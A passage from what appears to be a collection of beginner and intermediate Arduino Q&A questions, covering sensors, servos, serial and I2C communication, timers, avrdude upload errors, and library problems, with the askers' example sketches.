Furthermore, the Arduino IDE lets me choose "Upload" and "Upload Using Programmer" (the first works for me, the second doesn't). Why this distinction? Isn't a programmer always used? What does the IDE do, under the hood (does it call avrdude?) when choosing "Upload" ?


texts:
I'm running a water pump based on ultra sonic readings. Once the Ultra Sonic Sensor reads > 10 cm , I want the water pump to start until sensor reads < 5 cm. Would you please help me adjust the following code to meet my requirements.
void loop(){
 digitalWrite(trigPin,LOW);
 delayMicroseconds(2);
 digitalWrite(trigPin,HIGH);
 delayMicroseconds(10);
 digitalWrite(trigPin,LOW);
 duration=pulseIn(echoPin,HIGH);
 distance=(duration*0.034/2);
 if(distance>5){
   digitalWrite(motor,HIGH);
   delay(30000);
   digitalWrite(motor,LOW);
 } else {
   digitalWrite(motor,LOW);
 }
}


texts: Free simulation software for arduino hardware

texts: Hi there i am a beginner and trying to pair some sensors with my arduino. I am looking for some software which will allow me to test my codes in virtual machine also it should be free ...thax in advance


texts: How to convert char array to String in arduino?

texts:
I want to convert const char array in PROGMEM to String. How do I do this?

const char charArray[] PROGMEM = "Some text";


texts: How to send SMS from an Ethernet shield via SMS Gateway?

texts:
How do I send SMS from an Ethernet shield via SMS Gateway?

The site Clickatell provides free SMS.

Does anyone know how to do this or is there some other way to do it?


texts:
I'm pretty new to C++ / Arduino code, please bear with me. Following code currently gives me a Exception (28): epc1=0x40201287 epc2=0x00000000 epc3=0x00000000 excvaddr=0x00000000 depc=0x00000000.
I suspect that this is because I'm trying to use the pointer to a local variable char parsedString in drawMenu() which is probably destroyed after running renderMenu() and therefor I get a memory related exception(?). Is that correct?
Secondly, if that is true, I'm wondering if I'm just simply trying too hard to avoid global variables, I already got a ton. And creating for every single parsing variable in a function sounds like overkill. What would be the most efficient way to render my menu?
void drawMenu () {

  char* lines;
  renderMenu(lines);

  for (int i = 0; i < menuMaxLines; i++) {
    Serial.println(lines[i]);
  }
}

void renderMenu(char* &output) {

  // Get current menu items
  MenuItem * menuCurrentItems = getMenuItems();

  // Loop out the menu items at the current position (menuPosition), don't exceed the count of menuitems (menuCurrentItemCount) and don't exceed more then the desired lines (menuMaxLines)
  for (int i = menuPosition; i < menuCurrentItemCount && i < menuPosition + menuMaxLines; i++) {

    MenuItem menuItem = menuCurrentItems[i];
    char parsedString[menuMaxLines];

    // Prefix for the menulabel, when focussed
    if (menuFocussedItem == i) {
      strcat(parsedString, "> ");
    }
    else {
      strcat(parsedString, "  ");
    }

    char output[i - menuPosition][menuMaxWidth];
    strcpy(output[i - menuPosition], parsedString);
  }
}


texts:
I'm planning to use a ADS1220 4-channel 24 bit adc but I really have no experience with SPI. I have found this library but I can't really understand the code that much and also this is measuring the differential voltage. I want to use this for my accelerometer (x, y and z data) but I can't seem to find how to do read from 3 channels, and I can't understand the code in the library :( I've also found a video for this adc in youtube but he didn't used it for multiple channels. I'm sorry for asking this, I'm just pressured since the deadline is really soon.

EDITED

sketch

#include "Protocentral_ADS1220.h"
#include <SPI.h>

#define PGA 1                 // Programmable Gain = 1
#define VREF 3.3
#define VFSR VREF/PGA
#define FSR (((long int)1<<23)-1)

volatile byte MSB;
volatile byte data;
volatile byte LSB;
//volatile char SPI_RX_Buff[3];
volatile byte *SPI_RX_Buff_Ptr;

long int bit32, data1, data2, data3;
long int bit24;

Protocentral_ADS1220 ADS1220;

void setup() {
  pinMode(ADS1220_CS_PIN, OUTPUT);
  pinMode(ADS1220_DRDY_PIN, INPUT);

  ADS1220.begin();
  //ADS1220.Single_shot_mode_ON();
}

void loop() {

  byte *config_reg;

  data1 = aRead(0x81);
  data2 = aRead(0x91);
  data3 = aRead(0xA1);

  Serial.print(data1);
  Serial.print("    ");
  Serial.print(data2);
  Serial.print("    ");
  Serial.println(data3);
  delay(500);

}

long int aRead(uint8_t config_byte) {
  ADS1220.writeRegister(CONFIG_REG0_ADDRESS , config_byte);
  uint8_t r = ADS1220.readRegister(CONFIG_REG0_ADDRESS);
  //Serial.println(r,HEX);

  ADS1220.SPI_Start();

  while (ADS1220.NewDataAvailable == false) {
    SPI_RX_Buff_Ptr = ADS1220.Read_Data();
  }

  if(ADS1220.NewDataAvailable = true) {
    ADS1220.NewDataAvailable = false;

    MSB = SPI_RX_Buff_Ptr[0];
    data = SPI_RX_Buff_Ptr[1];
    LSB = SPI_RX_Buff_Ptr[2];

    bit24 = MSB;
    bit24 = (bit24 << 8) | data;
    bit24 = (bit24 << 8) | LSB;

    bit24= ( bit24 << 8 );
    bit32 = ( bit24 >> 8 );
  }

  return bit32;
}

I tried to use the above sketch and I successfully read from 3 different channels but I noticed that the readings vary too much, compared to the example code. In the example code when I turn my potentiometer full CW, it outputs 8388607 which is correct right? since it is signed int.

But when running this sketch, the image below shows the output when the potentiometer is fully CW. Also turning the potentiometer fully CCW leads to negative values (shown in the 2nd picture) but in the example code, it gives 100-300 decimal values.  Also these are the configuration registers I sent in registers 1-3 (I edited it in the part of the library) and for register 0, it is on the sketch.

Config_Reg1 = 0x00;
 Config_Reg2 = 0x40;
 Config_Reg3 = 0x00;

using accelerometer

format is (x,y,z)


texts: How can I setup a LED state change with push buttons?

texts:
I'm doing a project using Arduino Uno R3 and I'm trying to use two buttons to change LED state between HIGH and LOW. I have already a code but someting its not right because the LED should be starting in LOW state but it's starting in HIGH state. I checked the circuit and its all good none of the components is connected in wrong place or not connected corretly and the resistors I used are the right ones.

Here is the code I'm using:

 int ledpin = 13;
 int pushbutton1 = 8;
 int pushbutton2 = 7;
 boolean lastbuttonstate1 = LOW;
 boolean lastbuttonstate2 = LOW;

void setup()
{
  pinMode(ledpin,OUTPUT);
  pinMode(pushbutton1,INPUT);
  pinMode(pushbutton2,INPUT);
}

void loop() {

static bool ledState = false; // LED is off by default
 if ((digitalRead(pushbutton1) == LOW) && !ledState) { // 1 pressed & led is off
    digitalWrite(ledpin, HIGH);
    ledState = true;
 }
  if ((digitalRead(pushbutton2) == LOW) && ledState) { // 2 pressed & led is on
    digitalWrite(ledpin, LOW);
    ledState = false;
  }
}


texts: Arduino doesn't boot unless I short USB pin 1-2 (VCC/Data -)

texts:
I've made my own AVR programmer with an Arduino Nano V3 clone. It has been working fine, but yesterday I was trying to program a faulty board that pulled too much current. Was powering via USB and my OSX laptop told me it had disabled it due to pulling too much power.

After that I couldn't power it anymore, not even from a simple phone charger. I thought I had burnt something, but when testing with a DVM I accidentally shorted pin 1 and 2 of the USB connection:

1 - (red) VDC / plus / +5V

2 - (white) Data -

Then it boots up and is powered as long as I have them connected. Without it wont start with any usb connection, laptop or phone charger. Just to show what I mean:

https://photos.app.goo.gl/rtFj6bp3j4SbuYKr1

Why is this and is there something I can do to save this Nano - it seems to be working fine when usb is shorted like this…

Would hate to have to build up another one while waiting for a new programmer from China :)


texts: Two-way communication on multimaster I2C bus

texts:
I'm trying to send data both ways between an Arduino Mega 2560 slave and 2  Arduino Nano Zero (ATSAMD21G).

This example is a simplified setup and code. There will be more masters along with passive slaves on the bus (LCD, EEPROM).

Code and results (txt files)

My code is working fine with one master only and the slave active on the bus (data is sent both ways every 2s). I however notice missing transfers to the masters when more than one master is active. The 2 masters to slave transfers are working properly (once the 2 masters are on, the data is received by the slave every 2s from each master).

Is this problem due to collision? How can I handle it?


texts: ISR for timer on Arduino MEGA gets called only once

texts:
I am trying to write an Arduino code to blink LED using timer 4 on Arduino MEGA (atmega2560). I resetted the timer registers, and entered all the necessary values to bring to 16MHz to 1Hz (rescalar = 1024, OCR4B = 15624), then I wrote the blinking code inside the service routine block. Now when I run the program, the ISR is called only once. I saw from Youtube videos that even though the setting up of TCCR registers and TIMSK is in setup() function, it repeats indefinitely like a loop. Below is my code. Any help would be immensely appreciated. Thank you.
int led_pin = 10;
static int counter = 0;
int led_blink = 0;

void setup() {
  // put your setup code here, to run once:
Serial.begin(9600);
pinMode(led_pin,OUTPUT);
cli();
TCCR4A = 0;
TCCR4B = 0;
TCNT4 = 0;
OCR4B = 15625;                                //set the maximum count 16MHz -> 1Hz
TCCR4B |= (1<<CS10) | (1<<CS12) | (1<<WGM12); // prescalar = 1024 , CTC(OCR3B) mode
TIMSK4 |= (1<<OCIE4B);
sei();
interrupts();
}

ISR(TIMER4_COMPB_vect)
{
  Serial.println(millis());
  led_blink = !led_blink;

}

void loop() {
  // put your main code here, to run repeatedly:
  if(led_blink == 1)
    digitalWrite(led_pin,HIGH);
}


texts:
I’m trying to send data from a NodeMCU to an Arduino nano.

If I try to send data with one second delay - all working fine.

But if I try to send without delay or with a delay less than one second, then arduino sees data but nothing not does.

Arduino nano sketch:

#include <Servo.h>

Servo servo1;

int servo = 6;
int engine = 5;

void setup() {
Serial.begin(9600);
analogWrite(servo, 67);
servo1.attach(8);
}

void loop() {
if (Serial.available()) {
String model = Serial.readStringUntil(':');
i

f (model.equals("engine")){
String value = Serial.readStringUntil('c');
int power = value.toInt();
analogWrite(engine, power);
}
if (model.equals("servo")){
String value_servo = Serial.readStringUntil('c');
int power_servo = value_servo.toInt();
servo1.write(power_servo);
}
}
}

NodeMCU sketch:

#include <ESP8266WiFi.h>
#include <WiFiClient.h>
#include <ESP8266WebServer.h>
#include <ESP8266mDNS.h>

const char* ssid = "my_wifi_ssid";
const char* password = "my_wifi_password";

ESP8266WebServer server(80);

void get_vars(){
if (server.argName(0) == "engine"){
server.send(200, "text/plain", "Reading engine. Value: "+server.arg(0));
Serial.println("engine:"+server.arg(0)+"c");
}
if (server.argName(0) == "servo"){
server.send(200, "text/plain", "Reading engine. Value: "+server.arg(0));
Serial.println("servo:"+server.arg(0)+"c");
}
}

void setup(void){
main_stuff();
}

void loop(void){
server.handleClient();
}

void main_stuff(){
Serial.begin(9600);
WiFi.mode(WIFI_STA);
WiFi.begin(ssid, password);
Serial.println("");

// Wait for connection
while (WiFi.status() != WL_CONNECTED) {
delay(100);
Serial.print(".");
}
Serial.println("");
Serial.print("Connected to ");
Serial.println(ssid);
Serial.print("IP address: ");
Serial.println(WiFi.localIP());

if (MDNS.begin("esp8266")) {
Serial.println("MDNS responder started");
}

server.onNotFound(get_vars);

server.begin();
Serial.println("HTTP server started");

}


texts: Reading Multiple MPU 9250 Sensors using TCA9548A Multiplexer

texts:
I am trying to read multiple MPU 9250 sensors using TCA9548A multiplexer in ESP 32 and Arduino IDE. Has anyone done that successfully?
I am new to the  area of Arduino coding. I am trying to edit the code in this tutorial for MPU 9250 (https://www.bluedot.space/tutorials/connect-multiple-sensors-using-i2c-multiplexer/). I am facing issues with libraries and commands while shifting from BME 280 to MPU 9250.  Once  I am changing to MPU 9250 and trying to call instance MPU9250 IMU_0, I am getting error "no matching function for call to 'MPU9250", which I understand is because the library I've used doesn't support the call. I am unable to find alternate library or command. How can this be sorted out?
#include <Wire.h>
#include <MPU9250.h>
MPU9250 mpu_0;
MPU9250 mpu_1;
MPU9250 mpu_2;
MPU9250 mpu_3;

#define TCAADDR 0x70
void tcaselect(uint8_t i) {
  if (i > 7) return;

  Wire.beginTransmission(TCAADDR);
  Wire.write(1 << i);
  Wire.endTransmission();
}
void setup() {
  Serial.begin(9600);
  Wire.begin();
  Serial.println(F("##############################"));
  Serial.println(F("Starting Initialization"));
  Serial.println(F("##############################"));

  //*************INITIALIZING FIRST SENSOR*******************************
  tcaselect(0);

  if (mpu_0.begin() != 0x68)
  { Serial.print(F("MPU.1 detected?\t")); Serial.println(F("No"));}
  else
  { Serial.print(F("MPU.1 detected?\t")); Serial.println(F("Yes"));}
  //**********************************************************************
  //*************INITIALIZING SECOND SENSOR*******************************
  tcaselect(1);

  if (mpu_1.begin() != 0x68)
  { Serial.print(F("MPU Nr.2 detected?\t")); Serial.println(F("No"));}
  else
  { Serial.print(F("MPU Nr.2 detected?\t")); Serial.println(F("Yes"));}
  //*********************************************************************
  //**********************************************************************
  Serial.println();
  Serial.println(F("##############################"));
  Serial.println(F("Initialization Finished"));
  Serial.println(F("##############################"));
  Serial.println();
  Serial.println();
}


texts: problem using std::map. Are there known obstructing macros?

texts:
I have a header file, where I try to collect global variable declarations. When trying to typedef a map I get the following error:

n file included from Dis0_10.ino:7:
/var/folders/jl/nv1qvh6n569cxq9xxfd6dx980000gn/T/build8295701509021940161.tmp/globals.h:23: error: expected initializer before '<' token

relevant code snippets from global.h are:

#ifndef GLOBALS
#define GLOBALS
#include <map>

...

typedef std::map<uint8_t,uint8_t> memmap_t;

I have no clue, why this statement should fail. I consider it rather straight forward. So I think there must be some problems of this kind here. Or am I missing another include?


texts:
I want to print a string together with number. My code is

Serial.println("Test " + index++);

(In setup() I initialized variable index to 0.) In Java it would output

Test 0
Test 1
Test 2
Test 3
...

But I get this output instead:

Test
est
st
t

Can anybody explain it to me please?


texts: avrdude: stk500_recv(): programmer is not responding after serial

texts:
I have searched but have not found any solution to my problem so I am asking it here.  I make a program in python that makes serial communication with the Arduino. I started to upload my Arduino code but I forgot that my python program was open in the terminal (I use Ubuntu). So, I think the Arduino code and python output went to the same port which the Arduino is on. After that I couldn't upload any code into the Arduino.

Every time it prints the following error:

  avrdude: stk500_recv(): programmer is not responding
  avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x00

and then makes more 9 attempts.
Any help?


texts:
I want to wake up a PC via a USB-connected Arduino. When using a Pro Micro (Leonardo) I can do it, as its HID interface can wake up a PC. That is, in the Device Manager, under "Keyboards", the relevant HID device under "Power Management" has an "Allow this device to wake-up the PC" checkbox.

However, I need to use an Uno for this project. There's a hack (see link below) which flashes the ATMega16U2 on an Uno to act as a HID keyboard. It works fine, but this HID keyboard on a flashed Uno does NOT have the "Allow this device to wake up the PC" checkbox, i.e. I can't wake up my PC. I tried, the PC doesn't wake up. I know I can use an Ethernet shield on an Arduino to send a Wake up on LAN packet, but I don't want to add any shields, if I don't have to. Any advice how to do this?

EDIT: I was pointed to 2 libraries, NicoHood and LUFA (links below) to code a HID keyboard for the ATMega16U2 on an Arduino Uno. The problem is that acquainting myself with the subject and (either) library, would take several days, which is why I'd prefer to find an already-compiled simple HID device that does what I want. If I can't find one, I have a "dumb" solution: since the Leonardo can wake up a PC, I can hook it up to the PC, power the Uno (with my code) off the Leonardo, link one digital pin between the Uno and the Leonardo, so that the Uno can trigger a USB keystroke on the Leonardo. This is kludgy, since it uses the Leonardo just to send one USB keystroke to wake up the PC, but it would work.

LUFA

NicoHook Keyboard API

HoodLoader

Relevant links:

Arduino Uno as a USB HID Interface

Wake a touchscreen using a Pro Micro


texts: NodeMCU Modbus interfacing with Pressure Multi-Switch

texts:
I've been trying to interface between a NodeMCU and a Dotech DPX200 Pressure Multi-Switch over Modbus RS485 using a MAX485 Module for the past few weeks, going through nearly every Modbus post on this site  with no luck.
As my access to the multi-switch can be limited at times, I've also tried using several simulators like ModScan64, Simply Modbus Master/Slave, Modbus Poll etc. but could get none to work.

I'd like to know if the Modbus device's Slave ID has to be set on the device itself or the NodeMCU? Also to get the "Display of low pressure value" the address given in the manual is 40023. How would I write the NodeMCU code to read that value using either the ModbusRtu, ModbusMaster or any other appropriate library?

I've added the DPX200's Manual link with my NodeMCU script and wiring diagram, and would appreciate any help from you.

#include <ModbusMaster.h>
#define MAX485_TX_ENABLE  12

int myInts[6];
ModbusMaster node;

void preTransmission(){
  digitalWrite(MAX485_TX_ENABLE, 1);
}

void postTransmission(){
  digitalWrite(MAX485_TX_ENABLE, 0);
}

void setup(){
  Serial.begin(9600);
  Serial1.begin(9600, SERIAL_8N1);
  pinMode(MAX485_TX_ENABLE, OUTPUT);
  digitalWrite(MAX485_TX_ENABLE, 0);
}

void loop(){
  uint16_t k = 0,Status;
  node.begin(1, Serial1); //Slave ID = 1?
  node.preTransmission(preTransmission);
  node.postTransmission(postTransmission);
  Serial.println(i);
  Status = node.readHoldingRegisters(0x0023, 5); //Since address is 40023 to 40027
  if ( (Status == node.ku8MBSuccess) ){
     Serial.print("\nIDK: ");
     //Serial.println(node.getResponseBuffer(0));
     for (k = 0; k <= 5; k++ ){
        Status = node.readHoldingRegisters(k, 1);
        Serial.println(node.getResponseBuffer(0));
        delay(0);
     }
  }
}


texts: How do I reset to servo position everytime I excecute a particular sequence

texts:
I'm trying to make a prosthetic hand that can play rock, paper, scissors with a human. It is based on the premise that you push a button and it randomly selects a move to play. After each move, I'd like for it to return to a normal state after a few seconds delay, the human can then decide whom is victorious.
Code I have so far. It doesn't even stop after the degrees I've set, it just keeps turning. I have a cardboard prototype and it has come close to breaking because the servos just keep turning.
#include <Servo.h> //servo library

//Define servos
Servo servo1;
Servo servo2;
Servo servo3;
Servo servo4;

int pos = 0;

void setup()
//define servo signal inputs [digital PWM 2, 3, 4, 5]
{
  servo1.attach(2);
  servo2.attach(3);
  servo3.attach(4);
  servo4.attach(5);

}

void loop()
{
  void rEADY();
  //void rock();
  //void scissors();
  //void paper();
}

void rEADY()
{
  servo1.write(20);
  servo2.write(20);
  servo3.write(20);
  servo4.write(20);
  servo1.write(0);
  servo2.write(0);
  servo3.write(0);
  servo4.write(0);

}

void rock()
{
  servo1.write(180);
  servo2.write(180);
  servo3.write(180);
  servo4.write(180);
  servo1.write(0);
  servo2.write(0);
  servo3.write(0);
  servo4.write(0);
}

void scissors()
{
  servo1.write(180);
  servo2.write(180);
  servo3.write(0);
  servo4.write(0);
  servo1.write(0);
  servo2.write(0);
  servo3.write(0);
  servo4.write(0);
}

void paper()
{
  servo1.write(0);
  servo2.write(0);
  servo3.write(0);
  servo4.write(0);
  servo1.write(20);
  servo2.write(20);
  servo3.write(20);
  servo4.write(20);

}


texts: Issue with adding a library: No such file or directory

texts:
I downloaded a Library called "Morse" which I got from the Arduino website:

http://arduino.cc/en/Hacking/LibraryTutorial

(all the way at the bottom of the page there is a link called Morse.zip)
And basically added the library. Then when I import the library, it is included to the sketch. However when I try verifying it, the following error message appears:

to see the image clearer you can right click it and click on "Open image in new tab"

Basically it says:

In file included from sketch_nov28a.ino:1:
C:\Users\Marko\Documents\Arduino\libraries\Morse/Morse.h:10:22: error: WProgram.h: No such file or directory

Now I tried reinstalling the Arduino IDE, I tried adding the library again as well as using the manual method that was stated in that first link above, and the error persists.

What I did notice was that in that second line of the error message, something caught my eye: "...\Morse/Morse.h:10:22:..."
There is a forward slash!(/) Now it seems weird to me that with would happen, especially given that all the other examples I saw of this error online have a backslash (\). This could be the problem.... but even if it is, how do I fix it? I tried going to preferences... does anyone know?


texts:
I was wondering what is the best way to store files on Arduino, I've seen that is possible using the SD Card module but I only want like 2/3 file texts so having a whole SD Card for that sounds a bit overkill, is there any other way to store files like that?

Cheers!


texts: Correct connections: 7-segment, 4-digit display with common anode

texts:
I see this connections for 4-digit display.

All used pins set up on output. But, really, is it correct connections?

Why it used A* input pins, and, digital pins set up on output, it is right?

Maybe all pins need used by digital pins with NPN transistors? Collector is 5V, Base - Arduino digital pin, emitter - resistor with display anode, next, collector is display segment pin,  Base - Arduino digital pin, emitter - Ground.

What resistance is needed for the resistor? I think, more than 220 Ohm?

Sorry, but I'm really a beginner in electronics.


texts:
I'm trying to do some fairly simple serial communication and have things partially working, but am pretty confused about a couple results I'm getting.

For a little background, I'm using an Arduino Mega 2560 to try to communicate with a Dynamixel servo (MX-64) over TTL (half-duplex, asynchronous) with Tx1 and Rx1.  Basically I construct some byte arrays as instructions, send them over to the servo (with Serial1.write()), and then read back a reply.  I've actually gotten it to work pretty well if I use Serial1.readBytes(), specifying the length of the buffer (number of bytes I'm expecting).  I'm also reading back what I originally sent (first) as well as the response (second), since I have Tx1 and Rx1 tied together (required in my setup because this servo only has one data wire).

However I don't understand the difference between Serial.readBytes() and Serial.read().  If I do Serial.read() just prior to Serial.readBytes(), it comes back with -1, meaning no bytes to read... but then Serial.readBytes() gives me the byte stream I was expecting from the buffer!  What's going on here?

Similarly, Serial.available() seems sort of broken in that it tells me there are no bytes to read (returns 0), but then I can read the bytes I'm expecting with Serial.readBytes(). Additionally, I can do Serial.readBytes() after there's nothing left (or rather, there shouldn't be any bytes left...) and it will give me some bytes, but they're total garbage.

I think maybe there's something I don't understand about the way the serial buffer works, but can't find a good resource on it and the Arduino reference pages are kind of useless.  Any clues about the difference in how these operate would be much appreciated!


texts:
I'm creating a program that works like a piano. I have four button, a piezo buzz and an LCD screen. I'm having a little trouble with the buttonstate.

Here is my program, when I run it the piezo buzz doesn't stop producing sound. The way it's suppose to work is when I push the green button, the piezo is suppose to produce a C sound but it doesn't. Can anyone please tell me what I've done wrong?

code:

#include <LiquidCrystal.h>

LiquidCrystal lcd(13, 12, 11, 10, 9, 8);

int buttonyellow = 3;
int buttonred = 4;
int buttongreen = 5;
int buttonblue = 6;

int C,D,E,F;
int buzz = 7;

int buttonstate;

void setup()
{
  lcd.begin(16, 2);

  lcd.print("hello, world!");

  Serial.begin(9600);
  pinMode(buttonyellow,INPUT);
  pinMode(buttonred,INPUT);
  pinMode(buttongreen,INPUT);
  pinMode(buttonblue,INPUT);
}

void loop()
{
  lcd.setCursor(0, 1);

  lcd.print(millis() / 1000);

  C = digitalRead(buttonyellow);
  D = digitalRead(buttonred);
  E = digitalRead(buttongreen);
  F = digitalRead(buttonblue);

  buttonstate = digitalRead(C);
  if(buttonstate == HIGH){
    tone(buzz,523);
  }  else if ( buttonstate == LOW) {
    tone(buzz,1000);
  }else{
   noTone(buzz);
  }
  delay(50);
}


texts: Trying to program a Wemos D1 mini board OTA for the first time.  I can upload to it correctly with USB.  I upload the BasicOTA sketch via usb, and I get the correct response on the serial monitor.  Now I try to upload another sketch with the OTA functionality in it and there is no OTA port in the ports list to upload to.  I have tried everything I know how, restarted, reinstalled everything including the IDE, disabled the firewall.  Can someone please help me make this work like it's supposed to?


texts: How to change avrdude parameter in Arduino status log when uploading a program? avrdude.conf

texts:
Recently I custom bootloader optiboot for Arduino Uno to my custom board called Ardunesia xst X1-02, with Cortex M3 processor. I set avrdude as bootloader upload tool = "X1-02_bootloader.upload.tool=avrdude" in board.txt. It work normal which my board pretends to be Arduino UNO. But I want to change this log status:
 Using Port                    : COM6
         Using Programmer              : arduino
         Overriding Baud Rate          : 115200
         AVR Part                      : ATmega328P
         Chip Erase delay              : 9000 us
         PAGEL                         : PD7
         BS2                           : PC2
         RESET disposition             : dedicated
         RETRY pulse                   : SCK
         serial program mode           : yes
         parallel program mode         : yes
         Timeout                       : 200
         StabDelay                     : 100
         CmdexeDelay                   : 25
         SyncLoops                     : 32
         ByteDelay                     : 0
         PollIndex                     : 3
         PollValue                     : 0x53
         Memory Detail                 :

I want the status log to contain my custom board instead displaying atmega328. I changed and edit file in avrdude.conf which it seems the root of this problem. I added an inheritance in Atmega328 for my custom board, but It didn't work (still displaying atmega328). I know avrdude.conf is made for avr MCU, but I wonder there is a way to add our custom/non-avr mcu to display this status log? Thank You.
Edit: To make it clear I want to customing avrdude.config C:\Users\yourPC\AppData\Local\Arduino15\packages\arduino\tools\avrdude\6.3.0-arduino17\etc which its contain board ID for AVR device and I want to insert y device ID here, I inserted it on Atmega328 part parent like this:
part parent "m328"
    id          = "m328p";
    desc        = "ATmega328P";
    signature       = 0x1e 0x95 0x0F;

    ocdrev              = 1;
;

part parent "m328"
    id          = "m328pb";
    desc        = "ATmega328PB";     //another m328 version
    signature       = 0x1e 0x95 0x16;

    ocdrev              = 1;
;

part parent "m328"
    id          = "XST";
    desc        = "XST_X1_02";         //my board XST X1-02
    signature       = 0x1e 0x95 0x0F;

    ocdrev              = 1;
;

I set the signature so the bootloader recognize my board as Arduino UNO and its work well. But it keep reading as Atmega328P and not displaying XST X1-02. Should I create my own signature? any advice? Thank you
Problem Solved! I need to changes compile patterns in platform.txt from -DAtmega328_{build.board} to -DXST_{build.board} which XST is my MCU name. Thanks everyone!


texts: Will a .ino Arduino Sketch compile directly on GCC-AVR?

texts:
Okay, we all have seen those questions all over the web such as Arduino v.s. C++, or other similar questions. And a vast majority of the answers do not even touch compilation differences other than through abstracted information.

My question aims to solve the actual differences (not preferences) in how a .ino file renamed to a .cpp file or other similar file extension for c++ would compile using GCC-AVR. I know that at a minimum you have to include the Arduino header file, but beyond that, what would cause a compilation error if compiling said .ino to .cpp file using, say, for instance GCC-AVR. For simplicity's sake, lets use the classic blink example to explain what the differences are. Or if you have a better code snippet to use, please by all means, include the snippet in your answer and explain the differences thoroughly.

Please no opinions as to which is a better way or tool to use.

FYI. I use Platformio for development and I notice a conversion process happening behind the scenes during compilation. I am tryng to understand what is actually happening there, so when I code in Arduino, I understand the "pure" C++ version as well.

Thanks for your thoughtful answers to my question in advance.


texts: make servo motor to increase/decrease degree

texts:
I'm trying to make servo motor to increase or decrease degrees according to user choice.
I've created an code that get input from the user via Serial and according to the input the motor increase or decrease.
But for some reason, when I call each of one of the function the motor start working without a break.
do I miss something over here?
 #include <Servo.h>

Servo servo1;
int currentAngle = 0;
String readString;
void setup()
{
   servo1.attach(8);
   Serial.begin(9600);
}
void increaseServo(){
  Serial.println('+');
  currentAngle += 5;
  servo1.write(currentAngle);
  delay(15);
}
void decreaseServo(){
  Serial.println('-');
  currentAngle -= 5;
  servo1.write(currentAngle);
  delay(15);
}
void loop()
{
  while(Serial.available()>0) //Allocating the data from Serial Monitor.
  {
    delay(3);
    char c = Serial.read();
    readString += c;
  }
  readString.trim();
  if (readString.length() > 0) {
    if(readString == "+"){ //increase
      increaseServo();
    }else if(readString == "-"){ //decrease
      decreaseServo();
    }
    readString="";
  }
  delay(1000);
}

Thanks for the help.


texts:
I am trying to get two limits to or on the same while statement. Can this be done?
while (digitalRead (home_limit)) {

This works for one(1) limit,
But when I try using two(2) limits  is does not work. I can't find the proper configuration. I tried this.
while (digitalRead (home_limit1) || (home_limit2)) {

I also tried other combinations with no luck.
Does anyone know how to do an or (||) statement with a while digital read?


texts:
In my recent project, I have to parse incoming JSON data in Arduino and I successfully did it. But it is only for one constant data string.

For example, if my incoming JSON string like:

{"TPS":"0.40","MAP":"0.95","LOAD":"14"}

And Arduino code for parsing this data is below:

#include <LiquidCrystal.h>
#include <ArduinoJson.h>

LiquidCrystal lcd(12, 11, 7, 6, 5, 4);

String response = "";
bool begin = false;

void setup() {
  Serial.begin(9600);
  lcd.begin(16, 2);
}

void loop() {
  StaticJsonBuffer<100> jsonBuffer;
  while(Serial.available() || !begin) {
    char in = Serial.read();
    if (in == '{') {
      begin = true;
    }
    if(begin) {
      response += (in);
    }
    if(in == '}') {
        break;
    }
    delay(1);
  }
  JsonObject& root = jsonBuffer.parseObject(response);
  String TPS = root["TPS"];
  String MAP = root["MAP"];
  String LOAD = root["LOAD"];
  lcd.setCursor(0, 0);
  lcd.print(TPS);
  lcd.setCursor(8, 0);
  lcd.print(MAP);
  lcd.setCursor(0, 1);
  lcd.print(LOAD);
}

Then the output looks like:

TPS  : 0.40
MAP  : 0.95
LOAD : 14

That's fine, but when the incoming JSON string changes, what should I do?

Suppose the incoming JSON string looks like:

{"LOAD":"2.40","RPM":"4200","INJECTION_TIME":"4.87"}

Because I have to handle both incoming JSON strings, I can't replace any part like:

  String LOAD = root["LOAD"];
  String RPM = root["RPM"];
  String INJECTION_TIME = root["INJECTION_TIME"];
  lcd.setCursor(0, 0);
  lcd.print(LOAD);
  lcd.setCursor(8, 0);
  lcd.print(RPM);
  lcd.setCursor(0, 1);
  lcd.print(INJECTION_TIME);

Instead of

  String TPS = root["TPS"];
  String MAP = root["MAP"];
  String LOAD = root["LOAD"];
  lcd.setCursor(0, 0);
  lcd.print(TPS);
  lcd.setCursor(8, 0);
  lcd.print(MAP);
  lcd.setCursor(0, 1);
  lcd.print(LOAD);


texts: How to mimic soft-power button in inexpensive toys & flashlights?

texts:
My kids have a few odd inexpensive toys with a soft push-button that will turn on the toy, and subsequent pushes change the toy's mode of operation in some fashon.  A flashlight comes to mind, where the button is pushed once and it turns on, push again and it blinks, and a 3rd time and the light turns off.

I've looked inside one of these flashlights, and there's a small blob covering some IC, what looks to be a diode, and the usual connections for the batteries and lights.

How do these circuits "work" without immediately draining the batteries?  I'm looking to mimic this behaviour on a battery powered arduino Uno (or possibly Pro Mini).

What comes to mind is that the button is on an interrupt line, which wakes the system up from some sleep state..  when the button cycles around to an "off" state, the system goes back to sleep.


texts:
i am working on a project which requires changing the direction of the DC motor using arduino. that is I want the DC motor to rotate clockwise when i press key 'A' and anti clockwise when i press key 'D' on my computer.

i have v+ and v- input wires from battery. i have connected one end of the DC motor to gnd of the battery. On the other end of DC motor i want to connect V+ and V- input from the battery to spin the DC motor in clockwise and anticlockwise respectively. I have used BC547 npn transistor.
i do not know how to change inputs (v+ to v- and vice-versa) using arduino when key is pressed.

is there any method other than H-bridge method to do so?

i use arduino uno.


texts:
I would like to design a system in which I am able to make a light flash when a motion sensor detects a movement of a non human object such as a car.

(The goal here being that when a car is moving behind me in my blind spot around the corner of a wall in my parking spot I don't back into it.)

I have looked into a few tutorials using arduinos to detect this motion but so far I have only read about the PIR (which only detects humans and animals).

http://www.instructables.com/id/DIY-Arduino-Motion-Sensor-Lighting-Control/?ALLSTEPS

What sensor would be best for this situation or do I need to rethink my system?

(I have no intention of harming anyone or anything :) )


texts:
I was going to update this question but I thought that this was different.

I have been trying to get std::vector to work with the latest Arduino. I have tried downloading several libraries found online but I can not get one of them to compile correctly. So here is my question, does anyone CURRENTLY know of a Arduino STL Library that is working?

StandardCplusplus: As stated above I tried to use this library but run into problems with the new/delete functions.

Andy Brown's AVR-STL Library doesn't even seem to come close to compiling.

If anyone has a working copy of these two I would love to have a copy or if you can tell me how to get them to compile. Otherwise I really need to find a way to get Vectors working, does anyone have any ideas?

Edit

I didn't want to answer this question so it is still active as I am sure there will be additions to this. Anyways I FINALLY got a library to work (for now, so far). I downloaded the StandardCplusplus library and found that in order to get any of the stl functions to work you have to add an include to the "StandardCplusplus.h" file before EVERY use, not just in the first file as stated in the Wiki on the Project page.

So I was able to get vectors to work using the following:

#include "StandardCplusplus.h"
